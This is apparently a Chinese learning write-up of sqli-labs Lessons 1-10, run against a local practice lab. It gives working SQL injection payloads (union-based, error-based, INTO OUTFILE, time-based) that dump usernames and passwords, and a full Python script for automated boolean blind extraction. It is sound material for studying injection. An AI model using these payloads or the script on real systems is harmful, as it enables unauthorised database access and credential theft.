为了更好地学习SQL注入,便从sqli-labs开始入手吧。很多东西都是不懂,所以也是从各位前辈、大牛的博客以及书籍中去学习,将自己学到的都记录一下,以便以后的查看。同时也希望各位能够多多给点指导,让本人能够更好地掌握各种方法技巧等等。
为了更方便地实现操作,直接用Firefox的HackBar插件来操作~
直接在url中输入?id=1可以看到:
接着把id设置成等于2可以看到显示不一样的信息:
但是这些不是重点,我们要推测这次的SELECT语句的结构、判断是否存在SQL注入漏洞以及深入一些挖掘出更多关于数据库的信息等。在刚刚的url输入之后加入一个常用的用于检测是否出错的单引号,引出如下的错误:
接着观察含有单引号括起来的那一部分,去掉最外部左右两边的单引号的内容即为原SELECT语句中含有的内容,这部分中内容为:'2 '' LIMIT 0,1
可以从中推断出,在原SELECT语句中id变量之外是有对单引号括着的,而且在语句的后面还有LIMIT 0,1,表示从第一个元素即其下标为0开始返回总数为1个的元素。
接着使用and ‘1’=’1和and ‘1’=’2两个语句(最后那个数字后面少个单引号是为了和SELECT语句中最后的那个单引号闭合)来尝试判断一下是否存在SQL注入漏洞:
通过结果发现,一个返回正常而另一个没有返回,即一真一假,可以判断出其存在SQL注入漏洞,且SELECT语句大致语法为:
SELECT * FROM users WHERE id = '$id' LIMIT 0,1
接下来的,就是利用这个注入点进行进一步的漏洞利用和信息挖掘。
首先通过order by语句来推断有多少个字段,通过比较可以发现是有3个字段:
注释符中使用的是双连字符(--)再加一个空格,然而在其中如果只是--加空格则会报错,应该是url那个并没有将其进行转换,而在其中加号+在url中经常是代表空格因而将空格用+号表示则没有问题。其中Order by语句中可以使用二分查找法来实现查找,当找到3时显示正常而到了4时显示未知列,则可以确定有3个字段,另外注释符也可以替换成#号来实现,但是在测试中并没有将其url编码,所以需要将#号改为其url编码格式为%23输入即可:
接着就是使用union语句来实现多个select语句查询啦,直接使用2’ union select 1,2,3 %23 发现并没有什么变化,将其中的3替换成database()也没变换:
这里补充一下几个常用的函数:user()返回当前数据库连接使用的用户,database()返回当前数据库连接使用的数据库,version()返回当前数据库的版本。另外,通常会使用concat或者concat-ws函数来将这些函数进行组合使用并显示出来。concat函数中,将其中的参数直接连接起来产生新的字符串。而在concat_ws函数中,第一个参数是用于作为分隔符将后面各个参数的内容分隔开来再进行相应的连接产生新的字符串。以其常用的例子为例:
concat_ws(char(32,58,32),user(),database(),version())
其中char()函数为将里面的参数转化为相应的字符,其中32为空格,58为冒号(:),通过这样的方式可以绕过一些简单的过滤机制。
再次回到题目中,发现无论我们怎么改后面那句select中的内容,显示都是不会改变的,这样我们可以猜测,是不是前面的SELECT语句中限定了无论我们怎么查询都只能看到规定的那两行?我们查看源代码发现,有mysql_fetch_array() 函数这东西,它是从结果集中取得一行作为关联数组,或数字数组,或二者兼有,也就是说,只会取其中的一行然后来进行相应的输出:
从结果中得知最主要的信息为数据库名为‘security’,并且只会显示两个字段(因为数字2出现在第一行而查询的信息出现在第二行,select语句中的1并没有出现)。
通过数据库名,用以下语句接着进一步的查询:
这次查询中使用到了group_concat函数,会返回带有来自一个组的连接的非NULL值的字符串结果,也就是会返回属于同一组的行或列的内容。
当然,除了用group_concat函数,还可以使用LIMIT来遍历出有哪些表,期间只需要改变limit中第一个参数的值使其从0开始逐渐递增即可:
从上面的结果中,我们可以看到security库中一共有4张表,其中users这张表的价值肯定是最大的,便进一步对它进行查询:
结果中显示这张表有三列,接着我们可以组合使用语句将各个结果进一步查询出来:
这里将group_concat和concat_ws函数进行组合使用,一次性列出了所有的信息,在显示的字段数较少情况下,这种方法是挺实用的。
payload为:
http://localhost/sqli/Less-1/?id=0' union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23
本题的注入也差不多吧,因为是第一题所以也写得比较多一点,后面只有涉及到新的用法、技巧这些才会详细一点写~
Less2和Less1很相似,可以说比Less1更为简单,因为并不涉及到为id的值添加单引号,具体的直接看题。
在id=1后加一个单引号:
提取关键信息,SELECT语句中包含:
‘ LIMIT 0,1
猜测并没有对id进行添加任何的符号,接着用and 1=1 -- 和and 1=2 -- 来判断:
在这里和Less1使用的and ‘1’=’1和and ‘1’=’2语句比较一下,Less1中通过少一个单引号来实现和原SELECT语句最后面的那个单引号的闭合,原SELECT语句的所有部分都能执行;而这里用用and 1=1 -- 和and 1=2 -- 语句时通过注释的作用,将注释符后面的部分全部注释掉,原SELECT语句的只有前面部分能正常执行。
基于结果可以判断存在SQL注入漏洞,SELECT语句大致语法为:
SELECT * FROM users WHERE id = $id LIMIT 0,1
深入的信息查询和Less1操作一致就不再累赘啦。
payload为:
http://localhost/sqli/Less-2/?id=0 union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23
同样的步骤来进行判断:
看到关键的部分,即SELECT语句中包含:
‘1’’) LIMIT 0,1
可以推测id值被单引号和括号一同包含着,按推断进行测试:
论证了推断,存在SQL注入漏洞,SELECT语句大致语法为:
SELECT * FROM users WHERE id = ('$id') LIMIT 0,1
payload为:
http://localhost/sqli/Less-3/?id=0') union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23
输入单引号并没有返回错误:
于是换个双引号试试,结果错误信息就出来了:
可推测出id值是被一对双引号和括号所包含的,进一步测试:
证明存在漏洞,SELECT语句大致语法为:
SELECT * FROM users WHERE id = (“$id”) LIMIT 0,1
payload为:
http://localhost/sqli/Less-4/?id=0") union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23
首先是认识关于双注入的概念,最简单的解释就是select语句里面再内嵌一个select语句,其中里面的那个select语句就是子查询。
有几个函数说明一下:
count():统计元组的个数
rand():返回一个0~1之间的随机数
floor():向下取整
group by:用于结合合计函数,根据一个或多个列对结果集进行分组
输入id=1,和前面几题并不同,并没有输出相应有用的信息:
单引号测试,错误就出来了:
推测语句和Less1的一致,只是在源代码方面没有进行相应信息的输出而已,进一步确认一下:
输出结果一个和id=1正常输入时的结果一致,另一个则没有任何结果输出,因此可以看出其存在注入漏洞,SELECT语句大致语法为:
SELECT * FROM users WHERE id = ‘$id’ LIMIT 0,1
查看源代码验证一下:
果然是不输出$row的内容,因而也看不到相应的信息。要对这个数据库信息进行挖掘的话,前面的方法是行不通的,因为语句正确页面只会返回那一句话。因此,这里需要运用到基于错误的SQL语句构造。
几个常用的基于错误的构造语句:
select group_concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name;
select 1 from(select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b
这是一个mysql存在的bug,出错的时候将会返回想要查询的信息,至于具体的说明可以看官方的解释:
http://bugs.mysql.com/bug.php?id=32249
下面都是基于错误的测试,如果显示如第五张图一样再刷新到显示内容即可。
可看到用group_concat()函数尝试多次还是没有显示出想要的结果,所以通过limit来逐个列举出来即可。
payload为:
http://localhost/sqli/Less-5/?id=1' and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
和Less5差不多,但是添加单引号没结果:
换双引号就出来错误信息了:
发现只是在Less5的基础上将单引号换成双引号而已,验证一下:
SELECT语句大致语法为:
SELECT * FROM users WHERE id = “$id” LIMIT 0,1
payload为:
http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
先了解几个函数:
outfile:在MYSQL中可以利用它来将表的内容导出为一个文本文件,其基本语法格式为:SELECT [列名] FROM table [WHERE语句] INTO OUTFILE ‘目标文件’ [OPTION];
dumpfile:将表的内容导出为一个文件,但是一次导出一行的内容,因而在语法上要在outfile基础上加上limit来选择哪一行。
load_file:将数据导入MySQL。
在使用上述几个函数之前,需要对当前数据库进行权限测试,看看有没有权限去执行上述几个函数,测试语句为:
and (select count(*) from mysql.user)>0 --+
添加单引号出现错误,可以推测原sql语句中含有单引号:
先推测值含有一对单引号来进行测试,发现仍出错:
至此,知道对id变量使用的符号不只是一对单引号,对此尝试添加各种符号,当该语句没有返回错误时即可判断语句构造正确:这里会发现,原sql语句用一对单引号和两对括号将id变量括起。
都是基于错误的信息,来判断有多少个字段:结果返回正常,即具有相应的权限。
接着就可以上outfile函数了:
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "E:\\wamp64\\www\\sqli\\Less-7\\7.txt" %23
按以上的payload执行却没有生成任何文件,明明也转义了的,可能是权限问题,于是就直接右键属性>安全,设置所有的用户都有写入权限,结果还是不行。因为是在Windows下搭的环境,在网上也没找到解决方案,于是尝试了一下将文件写入临时目录tmp中,成功了:
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "E:\\wamp64\\tmp\\7.txt" %23
好吧,那就将内容写入到临时目录中就好,中间的步骤就省略了,直接上payload为:
http://localhost/sqli/Less-7/?id=0')) union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users into outfile "E:\\wamp64\\tmp\\7.txt" %23
PS:这题因为一直写不进网站的目录中所以耗了很长时间,期间怎么设置权限都没用,现在就只能写到tmp目录中,就算写入一句话木马也没有其他办法结合一起利用,这里希望有会的人指导一下~
基于布尔型的盲注的返回界面只有两种,要么为真要么为假。
需要了解的几个函数:
length():返回字符串的长度
substr():将第一个参数即字符串从第二个参数的位置开始截取第三个参数的长度的字符进行返回(这里第二个参数的位置是从1开始的而不是0)
mid():跟substr函数一样,截取字符串
ascii():返回字符串的第一个字符的ASCII值
ord():同上,返回ASCII码
盲注的返回只有两种界面,一个正常时返回“You are in...”一个错误时啥也没:
确定含有一对单引号:
接着就是使用盲注的技巧了:
可以利用二分法进行判断从而提高查找的效率,在这里不再多说,查找过后可以得知database函数返回的第一个字符的ASCII值为115,对应的字符就是‘s’。
同理,只需要将substr函数的第一个参数的值逐渐递增就可以得出整个数据库名为‘security’。将database函数换为version和user函数同理得到相应的信息。
下面只需要将select中的函数换为查询表名等的语句即可,也是和上述的方法一样逐个去判断出来,下图可知第一个表名的第一个字符的ASCII值为101,即为‘e’:
需要注意的一点是,在这个语句中需要加入limit来逐个遍历不同的表,而且在一开始不添加limit是会出错的不同于之前非盲注刚开始时不添加没有影响。
遍历表的列名以及用户名及其密码所使用的方法也一样就不再多说了。
因为盲注通过手工注入的话是很耗时间的,因此可以通过写Python脚本来帮我们实现这个繁琐的过程。
sqli_labs_less8.py:
#!/usr/bin/python
#coding=utf-8
import urllib
url = "http://localhost/sqli/Less-8/?id=1"
success_text = "You are in..........."
#定义相应的SQL注入语句
ascii_fuzz = "' and ascii(substr((%s),%d,1))>=%d #"
length_fuzz = "' and length(%s) >= %d #"
DB_fuzz = "select database()"
table_fuzz = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
column_fuzz = "select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1"
data_fuzz = "select %s from %s limit %d,1"
tablecount_fuzz = "' and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
columncount_fuzz1 = "' and (select count(column_name) from information_schema.columns where table_schema='"
columncount_fuzz2 = "' and table_name='%s')>=%d #"
datacount_fuzz = "' and (select count(*) from %s)>=%d #"
tablelength_fuzz1 = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
tablelength_fuzz2 = ",1)>=%d #"
columnlength_fuzz1 = "' and (select length(column_name) from information_schema.columns where table_schema='"
columnlength_fuzz2 = "' and table_name='%s' limit "
columnlength_fuzz3 = ",1)>=%d #"
datalength_fuzz1 = "' and (select length("
datalength_fuzz2 = ") from %s limit "
datalength_fuzz3 = ",1)>=%d #"
#SQL盲注测试函数
def Bind_SQL_Fuzz():
#获取数据库名的长度
DBnamelength = getLength(length_fuzz,"database()")
DBname = getName(ascii_fuzz,DB_fuzz,DBnamelength)
print "[*] The database is: " + DBname
print
#获取表的数量
tablecount = getLength(tablecount_fuzz,DBname)
print "[*] The count of tables is: " + str(tablecount)
#获取各个表名
for i in xrange(0,tablecount):
tablelength_fuzz_new = tablelength_fuzz1 + str(i) + tablelength_fuzz2
tablelength = getLength(tablelength_fuzz_new,DBname)
tname = getName(ascii_fuzz,table_fuzz%(DBname,i),tablelength)
print '[Table Name] ' + tname
print
#获取users表的列数
columncount_fuzz_new = columncount_fuzz1 + DBname + columncount_fuzz2
columncount = getLength(columncount_fuzz_new,"users")
print "[*] (Table: users) The count of columns is: " + str(columncount)
#定义两个数组分别用于存储列名和列中对应的信息
col = []
Datas = []
#获取数据一共有多少列
datacount = getLength(datacount_fuzz,"users")
#获取users表的列名
for i in xrange(0,columncount):
columnlength_fuzz_new = columnlength_fuzz1 + DBname + columnlength_fuzz2 + str(i) + columnlength_fuzz3
columnlength = getLength(columnlength_fuzz_new,"users")
cname = getName(ascii_fuzz,column_fuzz%(DBname,"users",i),columnlength)
print "[Column Name] (Table: users) " + cname
col.append(cname)
#获取列名对应的数据信息
datas = []
for x in xrange(0,datacount):
datalength_fuzz_new = datalength_fuzz1 + cname + datalength_fuzz2 + str(x) + datalength_fuzz3
datalength = getLength(datalength_fuzz_new,"users")
data = getName(ascii_fuzz,data_fuzz%(cname,"users",x),datalength)
datas.append(data)
Datas.append(datas)
print
print "[*] (Table: users) The count of data is: " + str(datacount)
print
print "[*] The data of users: "
#输出列名
colname = ""
for i in range(0,len(col)):
if i == 0:
colname += col[i]
else:
colname += " " + col[i]
print colname
#输出users表中的具体信息
show = ""
for i in xrange(0,datacount):
show = "%-8s%-16s%-16s"
print show%(Datas[0][i],Datas[1][i],Datas[2][i])
#获取字段的长度
def getLength(text,string):
left = 0
right = 0
guess = 10
while True:
#如果返回为真,那么guess加5直至返回为假时确定右边界
if Check1(text,string,guess) == True:
guess += 5
else:
right = guess
break
#二分查找法
mid = (left + right) / 2
while left < right - 1:
if Check1(text,string,mid) == True:
left = mid
else:
right = mid
mid = (left + right) / 2
return left
#检测请求SQL注入的URL是否注入成功
def Check1(text,string,length):
newurl = url + urllib.quote(text % (string,length))
result = urllib.urlopen(newurl)
if success_text in result.read():
return True
else:
return False
#与check1类似,但接收的参数值数量不同
def Check2(text,string,position,num):
newurl = url + urllib.quote(text % (string,position,num))
result = urllib.urlopen(newurl)
if success_text in result.read():
return True
else:
return False
#获取相应字段的名称
def getName(text,string,length):
name = ''
for i in xrange(1,length+1):
#32是空格,为第一个可显示的字符,127是delete,即最后一个可显示的字符
left = 32
right = 127
#二分查找法
mid = (left + right) / 2
while left < right - 1:
if Check2(text,string,i,mid) == True:
left = mid
mid = (left + right) / 2
else:
right = mid
mid = (left + right) / 2
name += chr(left)
return name
def main():
Bind_SQL_Fuzz()
if __name__ == '__main__':
main()
运行结果:
这里说一下两个函数:
if(a,b,c):a为判断条件,当a为真时返回b,否则返回c
sleep(t):将程序挂起t秒
基于时间的盲注Web页面的返回值都只有一种。所以在刚开始无论输入对还是错,返回的页面都是一样的,推测应该是代码中无论对错都去输出一样的结果。既然说了是基于时间的盲注,那么就直接运用sleep函数来确认,测试一下可知为单引号字符盲注。
利用原理和上面的差不多,这里直接上payload吧:
http://localhost/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>115,0,sleep(5)) --+
和Less9几乎一致,直接上payload:
http://localhost/Less-10/?id=1" and if(ascii(substr((select database()),1,1))>115,0,sleep(5)) --+
sqli-labs很早做了,但是因为Less-7的问题一直没解决所以没办法全部整理出来,希望懂的大神可以指导一下怎么回事~